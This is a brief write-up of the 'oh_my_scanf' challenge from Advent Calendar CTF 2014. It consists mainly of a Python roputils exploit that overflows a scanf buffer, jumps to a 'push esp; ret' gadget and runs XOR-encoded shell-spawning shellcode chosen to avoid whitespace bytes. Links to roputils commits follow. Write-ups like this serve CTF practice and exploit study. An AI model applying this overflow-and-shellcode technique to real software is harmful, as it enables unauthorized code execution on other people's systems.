writeup of Advent Calendar CTF 2014 oh_my_scanf http://adctf2014.katsudon.org/

oh_my_scanf.py

from roputils import *

p = Proc('./oh_my_scanf')
#p = Proc(host='pwnable.katsudon.org', port=32100)

sc = Shellcode('i386')
buf = 'A' * 28
buf += p32(0x80483e0)                          # push esp; ret
buf += sc.xor(sc.exec_shell(), '\t\n\v\f\r ')  # elliminate white-space characters for scanf("%s") attack

p.read()
p.writeline(buf)

p.wait(0)

Shellcode.xor(): elliminate white-space characters [\t\n\v\f\r ] for scanf("%s") attack
inaz2/roputils@82f2758

Shellcode.xor(): find key not to contain badnchars
inaz2/roputils@3f83ec9